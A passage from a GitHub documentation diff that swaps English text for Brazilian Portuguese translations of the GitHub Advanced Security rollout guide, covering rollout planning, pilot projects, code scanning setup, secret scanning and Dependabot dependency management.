+Antes de poder avançar com o(s) projeto(s) piloto(s) para a primeira fase da implementação, é fundamental garantir que um plano de implementação e objetivos de negócios foram estabelecidos sobre como sua empresa planeja prosseguir.
 
-If you’re working with {% data variables.product.prodname_professional_services %}, they can play a significant role in the creation of this plan.
+Se você está trabalhando com {% data variables.product.prodname_professional_services %}, ele pode desempenhar um papel significativo na criação deste plano.
 
-If you’re working independently, this section outlines some things to ensure are included in your plan as you prepare to move forward.
+Se você estiver trabalhando de forma independente, esta seção define algumas coisas para garantir que sejam incluídas no seu plano enquanto você se prepara para avançar.
 
-Plans for process changes (if needed) and training for team members as needed:
-  - Documented team assignments for roles and responsibilities. For more information on the permissions required for each feature, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)."
-  - Documented plan of tasks and timelines/timeframes where possible. This should include infrastructure changes, process changes/training, and all subsequent phases of enablement of GHAS, allowing for timeframes for remediations and configuration adjustments as needed. For more information, see "[Phase 1: Pilot projects(s)](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise#--phase-1-pilot-projects)" below.
-  - Prioritized plan for which projects/teams will have GHAS enabled first, and subsequent
-plans for which projects/teams will come in following phases
-  - Success metrics based on business goals. This will be a crucial reference point following the Pilot Project(s) to gain buy-in for the full rollout.
+Planos de mudança de processo (se necessário) e treinamento para os integrantes da equipe, conforme necessário:
+  - As tarefas de equipe documentadas para funções e responsabilidades. Para obter mais informações sobre as permissões necessárias para cada recurso, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)".
+  - O plano documentado de tarefas e linha do tempo/cronogramas sempre que possível. Isto deve incluir alterações na infraestrutura, mudanças/formação dos processos e todas as fases subsequentes de habilitação do GHAS, permitindo prazos para correções e ajustes de configuração, conforme necessário. Para obter mais informações, consulte "[Fase 1: Projeto(s) piloto(s)](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise#--phase-1-pilot-projects)" abaixo.
+  - Plano priorizado para quais projetos/equipes terão o GHAS habilitado primeiro e planos subsequentes para quais projetos/equipes estarão nas fases a seguir
+  - Métricas de sucesso baseadas em objetivos de negócios. Este será um ponto de referência fundamental após o(s) projeto(s) piloto para obter adesão para a implementação completa.
 
 {% note %}
 
-**Note:** To ensure awareness, buy-in, and adoption comes from all groups in your company, it's important to set realistic expectations around the rollout timing and impact on your company's infrastructure, processes, and general day-to-day development workflows. For a smoother and more successful rollout, ensure your security and development teams understand the impact of GHAS.
+**Observação:** Para garantir a conscientização, a adesão e a adopção deve vir de todos os grupos da sua empresa, É importante definir expectativas realistas com relação ao tempo de implementação e impacto na infraestrutura da sua empresa, processos e fluxos gerais de trabalho de desenvolvimento do dia a dia. Para uma implantação mais suave e bem-sucedida, garanta que as suas equipes de segurança e desenvolvimento compreendam o impacto do GHAS.
 
 {% endnote %}
 
 {% ifversion ghes %}
 
-For {% data variables.product.prodname_ghe_server %} customers, to help ensure your instance can support the rollout and implementation of GHAS, review the following:
+Para os clientes de {% data variables.product.prodname_ghe_server %}, para ajudar a garantir que sua instância possa apoiar a implementação do GHAS, revise o seguinte:
 
-- While upgrading to GHES 3.0 is not required, you must upgrade to GHES 3.0 or higher to take advantage of feature combinations such as code scanning and {% data variables.product.prodname_actions %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
+- Embora a atualização para GHES 3.0 não seja obrigatória, você precisa atualizar para o GHES 3.0 ou superior aproveitar as combinações de recursos, como digitalização de código e {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Atualizar o {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)".
 
-- In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores. For more information on setting up high availability, see "[Configuring High Availability](/admin/enterprise-management/configuring-high-availability)."
+- Na configuração de alta disponibilidade, um appliance do {% data variables.product.prodname_ghe_server %} secundário totalmente redundante é mantido em sincronização com o appliance primário pela replicação de todos os principais armazenamentos de dados. Para obter mais informações sobre como configurar alta disponibilidade, consulte "[Configurando Alta Disponibilidade](/admin/enterprise-management/configuring-high-availability)".
 
-- To help support any discussions regarding potential changes to your company's set up, you can review the {% data variables.product.prodname_ghe_server %} system overview. For more information, see "[System overview](/admin/overview/system-overview)."
+- Para ajudar a apoiar quaisquer discussões sobre possíveis alterações na configuração da sua empresa, você pode revisar a visão geral do sistema de {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[System overview](/admin/overview/system-overview)."
 
 {% endif %}
 
-### Step 4: Establish a baseline of organizational insights
+### Passo 4: Estabeleer uma linha base de ideias organizacionais
 
-As your company prepares to begin your pilot project(s), it’s crucial to ensure that you have set a baseline for where your enterprise is today and have defined clear success metrics to measure your pilot project(s) progress against.
+À medida que sua empresa se prepara para iniciar seu(s) projeto(s) piloto(s), é fundamental garantir que você definiu uma linha de base para onde sua empresa está hoje e definiu métricas de sucesso claras para medir o progresso com base no(s) seu(s) projeto(s) piloto.
 
-There are likely key business goals your company has that will need to be measured
-against, but there are other metrics we can identify to help gauge your pilot’s success.
+Provavelmente, a sua empresa tem metas de negócio que precisam ser medidas, mas existem outras métricas que podemos identificar para ajudar a avaliar o sucesso do seu piloto.
 
-As a starting point, some of these metrics might include:
-  - The mean time to remediation for GHAS vulnerabilities versus the previous tooling and
-practices the pilot project(s) / team(s) utilized.
-  - The code scanning integration's findings for the top X most critical applications.
-  - The number of applications that have SAST (Static application security testing) integrated versus before the engagement.
+Como ponto de partida, algumas dessas métricas podem incluir:
+  - O tempo médio para correção de vulnerabilidades do GHAS em comparação com a ferramenta e praticas anteriores que o(s) projeto(s) piloto / equipe(s) usou(usaram).
+  - A verificação de código dos resultados da integração para os principais X aplicativos mais essenciais.
+  - O número de aplicativos que têm o SAST (teste de segurança estático do aplicativo) integrado em comparação com antes da participação.
 
-If you participated in the POC exercise prior to purchasing GHAS, these objectives might look familiar. This success criteria includes several objectives for the following high-level roles:
-  - Implementation & Administration teams
-  - Security / CISO (Chief Information Security Officer)
-  - Application Development Teams
+Se você participou do exercício POC antes de comprar o GHAS, esses objetivos podem parecer familiares. Este critério de sucesso inclui vários objetivos para as seguintes funções de alto nível:
+  - Equipes de implementação & administração
+  - Segurança / CISO (Diretor de Segurança da Informação)
+  - Equipes de Desenvolvimento de Aplicativos
 
-If you’d like to take things a step further, you can look at utilizing OWASP’s DevSecOps
-Maturity Model (DSOMM) to work towards reaching a Level 1 maturity. There are four main
-evaluation criteria in DSOMM:
+Se você gostaria de dar um passo adiante, você pode considerar utilizar o DevSecOps do OWASP Modelo de Maturidade (DSOMM) para alcançar a maturidade nível 1. Existem quatro principais critérios de avaliação no DSOMM:
 
-- **Static depth:** How comprehensive is the static code scan that you’re performing within
-the AppSec CI pipeline
-- **Dynamic depth:** How comprehensive is the dynamic scan that is being run within the
-AppSec CI pipeline
-- **Intensity:** Your schedule frequency for the security scans running in AppSec CI pipeline
-- **Consolidation:** Your remediation workflow for handling findings and process
-completeness
+- **Profundidade estática:** O quão abrangente é a digitalização de código estático que você está realizando dentro do pipeline AppSec CI
+- **Profundidade Dinâmica:** O quão abrangente é a digitalização dinâmica que está sendo executada dentro do pipeline do AppSec CI
+- **Intensidade:** A sua frequência de agendamento para as verificações de segurança em execução no pipeline do AppSec CI
+- **Consolidação:** Seu fluxo de trabalho de correção para manipular a completudo dos resultados e processos
 
-To learn more about this approach and how to implement it in GHAS,
-you can download our white paper "[Achieving DevSecOps Maturity with GitHub](https://resources.github.com/whitepapers/achieving-devsecops-maturity-github/)."
+Aprender mais sobre esta abordagem e como implementá-la no GHAS, você pode fazer o download do nosso whitepaper "[Conquistando a Maturidade do DevSecOps com o GitHub](https://resources.github.com/whitepapers/achieving-devsecops-maturity-github/)."
 
-Based on your wider company’s goals and current levels of DevSecOps maturity, we can help you determine how to best measure your pilot’s progress and success.
+Com base nas metas da sua empresa e nos níveis atuais de maturidade do DevSecOps, podemos ajudar você a determinar a melhor forma de medir o progresso e o sucesso do seu piloto.
 
-## {% octicon "milestone" aria-label="The milestone icon" %}  Phase 1: Pilot project(s)
+## {% octicon "milestone" aria-label="The milestone icon" %}  Fase 1: Projeto(s) piloto
 
 {% note %}
 
-{% octicon "clock" aria-label="Clock" %} **Estimated timing:** We estimate that phase 1 may last roughly between 2 weeks to 3+ months. This range can vary largely depending on your company’s infrastructure or systems complexity, internal processes to manage/approve these changes, as well as if larger organizational process changes are needed to move forward with GHAS.
+Tempo estimado de {% octicon "clock" aria-label="Clock" %} **:** Estimamos que a fase 1 pode durar aproximadamente entre 2 semanas e mais de 3 meses. Esse intervalo pode variar em grande parte dependendo da infraestrutura ou complexidade dos sistemas da sua empresa, processos internos para gerenciar/aprovar essas mudanças, bem como se são necessárias maiores mudanças no processo organizacional para avançar com o GHAS.
 
 {% endnote %}
 
-To begin enabling GHAS across your company, we recommend beginning with a few
-high-impact projects or teams to pilot an initial rollout. This will allow an initial
-group within your company to get familiar with GHAS and build a solid foundation on GHAS before rolling out to the remainder of your company.
+Para começar a habilitar o GHAS em toda a sua empresa, recomendamos começar com alguns projetos de alto impacto ou equipes para fazer a implementação de um projeto piloto inicial. Isso fará com que que um primeiro grupo dentro da sua empresa se familiarize com GHAS e crie uma base sólida no GHAS antes de começar a familiarizar-se com o restante da sua empresa.
 
-Before you start your pilot project(s), we recommend that you schedule some checkpoint meetings for your team(s), such as an initial meeting, midpoint review, and a wrap-up session when the pilot is complete. These checkpoint meetings will help you all make adjustments as needed and ensure your team(s) are prepared and supported to complete the pilot successfully.
+Antes de iniciar seu(s) projeto(s), recomendamos que você agende algumas reuniões de verificação para a(s) sua(s) equipe(s), como uma reunião inicial, uma revisão do ponto intermediário e uma sessão de encerramento quando o piloto estiver concluído. Essas reuniões de verificação ajudarão você a fazer todos os ajustes, conforme necessário, e assegurarão que a(s) sua(s) equipe(s) esteja(m) preparad(a) e suportada(s) para concluir o piloto com sucesso.
 
-These steps will help you enable GHAS on your enterprise, begin using its features, and review your results.
+Essas etapas ajudarão você a habilitar o GHAS na sua empresa, começar a usar as suas funcionalidades e revisar seus resultados.
 
-If you’re working with {% data variables.product.prodname_professional_services %}, they can provide additional assistance through this process through onboarding sessions, GHAS workshops, and troubleshooting as needed.
+Se você estiver trabalhando com {% data variables.product.prodname_professional_services %}, ele poderá fornecer assistência adicional por meio desse processo com sessões de integração, oficinas do GHAS e solução de problemas, conforme necessário.
 
-### Step 1: GHAS set-up & installation
+### Etapa 1: Configuração do GHAS & instalação
 
 {% ifversion ghes %}
 
-If you haven't already enabled GHAS for your {% data variables.product.prodname_ghe_server %} instance, see "[Enabling GitHub Advanced Security for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
+Se você ainda não habilitou o GHAS para a sua instância de {% data variables.product.prodname_ghe_server %}, consulte[Habilitando a segurança avançada do GitHub Advanced para a sua empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
 
 {% endif %}
 
-You need to enable GHAS for each pilot project, either by enabling the GHAS feature for each repository or for all repositories in any organizations taking part in the project. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+Você precisa habilitar o GHAS para cada projeto piloto, habilitando o recurso do GHAS para cada repositório ou para todos os repositórios em qualquer organização que participe do projeto. Para mais informações consulte "[Gerenciar as configurações de segurança e análise do repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" ou "[Gerenciar as configurações de segurança e análise da sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 
-The vast majority of GHAS set-up and installation is centered around enabling and configuring code scanning on your enterprise and in your repositories.
+A grande maioria dos ajustes e instalação do GHAS está centrada em habilitar e configurar a digitalização do código na sua empresa e nos seus repositórios.
 
-Code scanning allows you to analyze code in a {% data variables.product.prodname_dotcom %} repository to find security vulnerabilities and coding errors. Code scanning can be used to find, triage, and prioritize fixes for existing problems in your code, as well as help prevent developers from introducing new problems that may otherwise reach production. For more information, see "[About code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)."
+A verificação de código permite que você analise o código em um repositório de {% data variables.product.prodname_dotcom %} para encontrar vulnerabilidades de segurança e erros de codificação. A digitalização de código pode ser usada para encontrar, triar e priorizar correções para problemas existentes no seu código, Além de ajudar a impedir que os desenvolvedores introduzam novos problemas que, de outra forma, poderiam chegar à produção. Para obter mais informações, consulte "[Sobre a varredura de código](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)".
 
-### Step 2: Set up {% data variables.product.prodname_code_scanning_capc %}
+### Etapa 2: Configurar {% data variables.product.prodname_code_scanning_capc %}
 
 {% ifversion ghes %}
 
-To enable {% data variables.product.prodname_code_scanning %} on your {% data variables.product.prodname_ghe_server %} instance, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)."
+Para habilitar {% data variables.product.prodname_code_scanning %} na sua instância de {% data variables.product.prodname_ghe_server %}, consulte[Configurando a digitalização de código de configuração para o seu dispositivo](/admin/advanced-security/configuring-code-scanning-for-your-appliance)."
 
 {% endif %}
 
-To set up code scanning, you must decide whether you'll run code scanning with [{% data variables.product.prodname_actions %}](#using-github-actions-for-code-scanning) or your own [third-party CI system](#using-a-third-party-ci-system-with-the-codeql-cli-for-code-scanning).
+Para configurar a digitalização de código, você deve decidir se irá executar a digitalização de código com [{% data variables.product.prodname_actions %}](#using-github-actions-for-code-scanning) ou com seu próprio [sistema de CI de terceiros](#using-a-third-party-ci-system-with-the-codeql-cli-for-code-scanning).
 
-#### Using {% data variables.product.prodname_actions %} for {% data variables.product.prodname_code_scanning %}
+#### Usando {% data variables.product.prodname_actions %} para {% data variables.product.prodname_code_scanning %}
 
 {% ifversion ghes %}
 
-To set up code scanning with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}, you'll need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your
-environment. For more information, see "[Setting up a self-hosted runner](/admin/advanced-security/configuring-code-scanning-for-your-appliance#running-code-scanning-using-github-actions)."
+Para configurar a varredura de código com {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}, você deverá fornecer um ou mais executores de {% data variables.product.prodname_actions %} auto-hospedados no seu ambiente. Para obter mais informações, consulte "[Configurando um executor auto-hospedado](/admin/advanced-security/configuring-code-scanning-for-your-appliance#running-code-scanning-using-github-actions)".
 
 {% endif %}
 
-For {% data variables.product.prodname_ghe_cloud %}, you can start to create a {% data variables.product.prodname_actions %} workflow using the [CodeQL action](https://github.com/github/codeql-action/) to run code scanning on a repository. {% data variables.product.prodname_code_scanning_capc %} uses [GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners) by default, but this can be customized if you plan to host your own runner with your own hardware specifications. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners)."
+Para {% data variables.product.prodname_ghe_cloud %}, você pode começar a criar um fluxo de trabalho de {% data variables.product.prodname_actions %} usando a ação [CodeQL](https://github.com/github/codeql-action/) para executar a digitalização de código em um repositório. {% data variables.product.prodname_code_scanning_capc %} usa [executores hospedados no GitHub](/actions/using-github-hosted-runners/about-github-hosted-runners) por padrão, mas isso pode ser personalizado se você planeja hospedar seu próprio executor com as suas próprias especificações de hardware. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners)."
 
-For more information about {% data variables.product.prodname_actions %}, see:
-  - "[Learn GitHub Actions](/actions/learn-github-actions)"
-  - "[Understanding GitHub Actions](/actions/learn-github-actions/understanding-github-actions)"
-  - "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)"
-  - "[Filter Pattern Cheat Sheet](/actions/learn-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)"
+Para mais informações sobre {% data variables.product.prodname_actions %}, consulte:
+  - "[Conheça o GitHub Actions](/actions/learn-github-actions)"
+  - "[Entendendo o GitHub Actions](/actions/learn-github-actions/understanding-github-actions)"
+  - [Eventos que acionam fluxos de trabalho](/actions/learn-github-actions/events-that-trigger-workflows)
+  - "[Filtrar o padrão da folha de informações](/actions/learn-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)"
 
-#### Using a third-party CI system with the CodeQL CLI for {% data variables.product.prodname_code_scanning %}
+#### Usando um sistema de CI de terceiros com o a CLI do CodeQL para {% data variables.product.prodname_code_scanning %}
 
-If you’re not using {% data variables.product.prodname_actions %} and have your own continuous integration system, you can use the CodeQL CLI to perform CodeQL code scanning in a third-party CI system.
+Se você não usar {% data variables.product.prodname_actions %} e tiver o seu próprio sistema de integração contínua, você poderá usar o CLI do CodeQL para executar a digitalização de código do CodeQL em um sistema CI de terceiros.
 
-For more information, see:
-  - "[About CodeQL code scanning in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)"
+Para obter mais informações, consulte:
+  - "[Sobre a digitalização do código do CodeQL no seu sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)"
 
-### Step 3: Enable {% data variables.product.prodname_code_scanning_capc %} in repositories
+### Etapa 3: Habilitar {% data variables.product.prodname_code_scanning_capc %} nos repositórios
 
-If you’re using a phased approach to roll out GHAS, we recommend enabling {% data variables.product.prodname_code_scanning %} on a repository-by-repository basis as part of your rollout plan. For more information, see "[Setting up code scanning for a repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository)."
+Se você estiver usando uma abordagem faseada para implementar o GHAS, recomendamos habilitar {% data variables.product.prodname_code_scanning %} por repositório como parte do seu plano de implementação. Para obter mais informações, consulte "[Configurando a digitalização de código para um repositório](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository)".
 
-If you’re not planning on a phased rollout approach and want to enable code scanning for many repositories, you may want to script the process.
+Se você não estiver planejando uma abordagem de implementação faseada e quiser habilitar a verificação de código para muitos repositórios, você pode fazer o script do processo.
 
-For an example of a script that opens pull requests to add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS.
+Para obter um exemplo de um script que abre pull requests para adicionar um fluxo de trabalho de {% data variables.product.prodname_actions %} em vários repositórios, consulte o repositório [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) para ver um exemplo que usa o PowerShell ou [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) para equipes que não possuem PowerShell e que, em vez disso, prefeririam usar o NodeJS.
 
-### Step 4: Run code scans and review your results
+### Etapa 4: Execute digitalizações de código e revise seus resultados
 
-With code scanning enabled in the necessary repositories, you're ready to help your
-development team(s) understand how to run code scans and reports, view reports, and process results.
+Com a digitalização de código habilitada nos repositórios necessários, você está pronto para ajudar sua(s) equipe(s) de desenvolvimento a entender como executar digitalizações e relatórios de código, ver relatórios e processar resultados.
 
 #### {% data variables.product.prodname_code_scanning_capc %}
 
-With code scanning, you can find vulnerabilities and errors in your project's code on GitHub,
-as well as view, triage, understand, and resolve the related {% data variables.product.prodname_code_scanning %} alerts.
+Com a digitalização de código, você pode encontrar vulnerabilidades e erros no código do seu projeto no GitHub, bem como exibição, triagem, entender e resolver os alertas de {% data variables.product.prodname_code_scanning %} relacionados.
 
-When code scanning identifies a problem in a pull request, you can review the highlighted
-code and resolve the alert. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests)."
+Quando a digitalização de código identifica um problema em um pull request, você poderá revisar o código destacado e resolver o alerta. Para obter mais informações, consulte "[Triar alertas de {% data variables.product.prodname_code_scanning %} em pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests)".
 
-If you have write permission to a repository you can manage code scanning alerts for that
-repository. With write permission to a repository, you can view, fix, dismiss, or delete alerts for potential
-vulnerabilities or errors in your repository's code. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository)."
+Se você tiver permissão de gravação em um repositório, você poderá gerenciar alertas de digitalização de código para esse repositório. Com permissão de gravação em um repositório, você pode visualizar, corrigir, ignorar ou excluir alertas de potenciais vulnerabilidades ou erros no código do seu repositório. Para obter mais informações, consulte "[Gerenciar alertas de varredura de código para seu repositório](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository). "
 
-#### Generate reports of {% data variables.product.prodname_code_scanning %} alerts
+#### Gerar relatórios de alertas de {% data variables.product.prodname_code_scanning %}
 
-If you’d like to create a report of your code scanning alerts, you can use the {% data variables.product.prodname_code_scanning_capc %} API. For more information, see the "[{% data variables.product.prodname_code_scanning_capc %} API](/rest/reference/code-scanning)."
+Se você quiser criar um relatório dos seus alertas de digitalização de código, você poderá usar a API de {% data variables.product.prodname_code_scanning_capc %}. Para obter mais informações, consulte o "[API de {% data variables.product.prodname_code_scanning_capc %}](/rest/reference/code-scanning)".
 
-For an example of how to use the {% data variables.product.prodname_code_scanning_capc %} API, see the [`get-code-scanning-alerts-in-org-sample`](https://github.com/jhutchings1/get-code-scanning-alerts-in-org-sample) repository.
+Para um exemplo de como usar a {% data variables.product.prodname_code_scanning_capc %} API, consulte o repositório [`get-code-scanning-alerts-in-org-sample`](https://github.com/jhutchings1/get-code-scanning-alerts-in-org-sample).
 
-### Step 5: Configure {% data variables.product.prodname_code_scanning_capc %} to fine tune your results
+### Etapa5: Configure {% data variables.product.prodname_code_scanning_capc %} para ajustar seus resultados
 
-When running initial code scans, you may find that no results are found or that an unusual number of results are returned. You may want to adjust what is flagged in future scans.
+Ao executar a digitalização inicial de código, você pode descobrir que nenhum resultado foi encontrado ou que um número incomum de resultados foi retornado. Você pode querer ajustar o que é sinalizado em futuras digitalizações.
 
-For more information, see "[Configuring code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning)."
+Para obter mais informações, consulte "[Configurar a verificação de código](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning)".
 
-If your company wants to use other third-party code analysis tools with GitHub code scanning, you can use actions to run those tools within GitHub. Alternatively, you can upload results, generated by third-party tools as SARIF files, to code scanning. For more information, see "[Integrating with code scanning](/code-security/code-scanning/integrating-with-code-scanning)."
+Se sua empresa quiser usar outras ferramentas de análise de código de terceiros com a digitalização de código do GitHub, você poderá usar ações para executar essas ferramentas dentro do GitHub. Como alternativa, você pode fazer upload de resultados, gerados por ferramentas de terceiros como arquivos SARIF, para a digitalização de código. Para obter mais informações, consulte "[Integrando à digitalização de código](/code-security/code-scanning/integrating-with-code-scanning)".
 
-### Step 6: Set up secret scanning
+### Etapa 6: Configurar a digitalização de segredos
 
-GitHub scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.
+O GitHub digitaliza repositórios de tipos conhecidos de segredos, para evitar o uso fraudulento de segredos que foram cometidos acidentalmente.
 
 {% ifversion ghes %}
 
-To enable secret scanning for your {% data variables.product.prodname_ghe_server %} instance, see "[Configuring secret scanning for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance)."
+Para habilitar a digitalização de segredos para a sua instância de {% data variables.product.prodname_ghe_server %}, consulte "[Configurando a digitalização de segredo para o seu dispositivo](/admin/advanced-security/configuring-secret-scanning-for-your-appliance). "
 
 {% endif %}
 
-You need to enable secret scanning for each pilot project, either by enabling the feature for each repository or for all repositories in any organizations taking part in the project. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+Você precisa habilitar digitalização de segredos para cada projeto piloto, habilitando o recurso para cada repositório ou para todos os repositórios de qualquer organização que participe do projeto. Para mais informações consulte "[Gerenciar as configurações de segurança e análise do repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" ou "[Gerenciar as configurações de segurança e análise da sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 
-To learn how to view and close alerts for secrets checked into your repository, see "[Managing alerts from secret scanning](/code-security/secret-scanning/managing-alerts-from-secret-scanning)."
+Para saber como exibir e fechar alertas para segredos verificados em seu repositório, consulte "[Gerenciando alertas do digitalização de segredos](/code-security/secret-scanning/managing-alerts-from-secret-scanning)".
 
-### Step 7: Set up dependency management
+### Etapa 7: Configurar gestão de dependências
 
-GitHub helps you avoid using third-party software that contains known vulnerabilities. We provide the following tools for removing and avoiding vulnerable dependencies.
+O GitHub ajuda você a evitar o uso de software de terceiros que contém vulnerabilidades conhecidas. Nós fornecemos as seguintes ferramentas para remover e evitar dependências vulneráveis.
 
-| Dependency Management Tool | Description |
-|----|----|
-| Dependabot Alerts | You can track your repository's dependencies and receive Dependabot alerts when your enterprise detects vulnerable dependencies. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)." |
-| Dependency Graph | The dependency graph is a summary of the manifest and lock files stored in a repository. It shows you the ecosystems and packages your codebase depends on (its dependencies) and the repositories and packages that depend on your project (its dependents). For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." |{% ifversion ghes > 3.1 or ghec %}
-| Dependency Review | If a pull request contains changes to dependencies, you can view a summary of what has changed and whether there are known vulnerabilities in any of the dependencies. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)" or  "[Reviewing Dependency Changes in a Pull Request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." | {% endif %} {% ifversion ghec or ghes > 3.2 %}
-| Dependabot Security Updates | Dependabot can fix vulnerable dependencies for you by raising pull requests with security updates. For more information, see "[About Dependabot security updates](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." |
-| Dependabot Version Updates | Dependabot can be used to keep the packages you use updated to the latest versions. For more information, see "[About Dependabot version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)." | {% endif %}
+| Ferramenta Gerenciamento de Dependência        | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Alertas de Dependabot                          | Você pode acompanhar as dependências do seu repositório e receber alertas de dependências do Dependabot quando sua empresa detectar dependências vulneráveis. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)"                                                                                                                                                            |
+| Gráfico de Dependência                         | O gráfico de dependências é um resumo do manifesto e bloqueia arquivos armazenados em um repositório. Ele mostra os ecossistemas e pacotes dos quais a sua base de código depende (suas dependências) e os repositórios e pacotes que dependem do seu projeto (suas dependências). Para obter mais informações, consulte "[Sobre o gráfico de dependência](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)". |{% ifversion ghes > 3.1 or ghec %}
+| Revisão de Dependência                         | Se um pull request tiver alterações nas dependências, você poderá ver um resumo do que alterou e se há vulnerabilidades conhecidas em qualquer uma das dependências. Para obter mais informações, consulte "[Sobre a revisão de dependências](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)" ou "[Revisando as alterações de dependência em um pull requestl](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)". |{% endif %} {% ifversion ghec or ghes > 3.2 %}
+| Atualizações de segurança do Dependabot        | O dependabot pode corrigir dependências vulneráveis levantando pull requests com atualizações de segurança. Para obter mais informações, consulte "[Sobre atualizações de segurança do Dependabot](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)".                                                                                                                                                                                                                  |
+| Atualizações da versão do Dependabot           | O dependabot pode ser usado para manter os pacotes que você usa atualizados para as últimas versões. Para obter mais informações, consulte "[Sobre atualizações da versão do Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)". | {% endif %}
 
 {% data reusables.dependabot.beta-security-and-version-updates-onboarding %}
 
-### Step 8: Establish a remediation process
+### Etapa 8: Estabelecer um processo de correção
 
